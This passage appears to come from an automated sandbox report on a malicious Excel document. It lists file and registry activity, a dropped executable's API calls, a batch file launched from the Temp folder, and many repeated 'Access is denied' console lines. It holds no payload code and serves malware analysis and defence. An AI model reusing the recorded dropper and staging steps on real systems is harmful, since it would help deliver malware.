Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Users\user
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Users\user\AppData\Roaming\Microsoft

System Summary:

barindex
Checks whether correct version of .NET is installedShow sources
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Upgrades
Found graphical window changes (likely an installer)Show sources
Source: Window RecorderWindow detected: More than 3 window changes detected
Uses Microsoft SilverlightShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll
Checks if Microsoft Office is installedShow sources
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_USERS\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Uses new MSVCR DllsShow sources
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_50916076bcb9a742\MSVCR90.dll
Binary contains paths to debug symbolsShow sources
Source: Binary string: mscorrc.pdb source: powershell.exe
Source: Binary string: D:\office\Target\XL\X86\ship\1033.pre\xlintl32.PDB source: EXCEL.EXE
Document has a 'lastprinted' value indicative for goodwareShow sources
Source: Documento n.3653_ft_copia.xlsInitial sample: OLE summary lastprinted = 2005-09-17 21:40:56
Binary contains paths to development resourcesShow sources
Source: EXCEL.EXEBinary or memory string: Unrecognized project languageSThe .VBP file for this project contains an invalid or corrupt library references ID=Error accessing file. Network connection may have been lost.-Fixed or static data can't be larger than 64K
Classification labelShow sources
Source: classification engineClassification label: mal100.evad.expl.winXLS@11/12@1/3
Contains functionality for error loggingShow sources
Source: C:\Users\user\Documents\qBqrnAqZqca.exeCode function: 8_1_5E3AE35E QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeInformationA,GetLastError,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,QueryDosDeviceW,__wcsicoll,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,wsprintfA,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle,wsprintfA,CreateFileA,GetVolumeNameForVolumeMountPointA,FindNextVolumeMountPointA,GetVolumeInformationA,GetLastError,FormatMessageA,GetLastError,GetLastError,FormatMessageA,FormatMessageA,FindFirstVolumeMountPointA,GetLastError,FormatMessageA,GetVolumeInformationA,GetLastError,FormatMessageA8_1_5E3AE35E
Creates files inside the user directoryShow sources
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Roaming\Microsoft\Excel
Creates temporary filesShow sources
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user~1\AppData\Local\Temp\CVRB6E7.tmp
Document contains an OLE Workbook stream indicating a Microsoft Excel fileShow sources
Source: Documento n.3653_ft_copia.xlsOLE indicator, Workbook stream: true
Executes batch filesShow sources
Source: unknownProcess created: C:\Windows\System32\cmd.exe 'C:\Windows\system32\cmd.exe' /c 'C:\Users\user~1\AppData\Local\Temp\upd98ca85e0.bat'
Found command line outputShow sources
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.P.......V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.8.......V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.8.......V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................<.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................\.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................|.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................=.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................].......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................}.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...!.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...#.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0................. .......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...%.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................@.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...'.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................`.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...).
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...+.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...-.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.../.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...1.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...3.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................".......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...5.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................B.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...7.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................b.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...9.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...;.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...=.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...?.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...A.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...C.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................).......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...E.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................I.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...G.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................i.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...I.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...K.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...M.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...O.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...Q.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...S.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................-.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...U.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................M.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...W.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................m.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...Y.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...[.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...].
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,..._.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...a.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...c.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...e.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................N.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...g.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................o.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...i.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...k.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...m.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...o.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...q.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...s.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0................./.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...u.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................O.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...w.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................q.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...y.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...{.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,...}.
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................8.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................\.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................|.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................<.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................^.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................~.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................>.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................^.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.........................................................!...@@ .X.&..3.zp.&.....^....F<J......&.
Source: C:\Windows\System32\cmd.exeConsole Write: ....................A.c.c.e.s.s. .i.s. .d.e.n.i.e.d...........&.........V.:J..............&........u..&.&...`.....,.....
Source: C:\Windows\System32\cmd.exeConsole Write: ......................0.................'.......................................!...@@ .X.&..3.zp.&.....^....F<J......&.
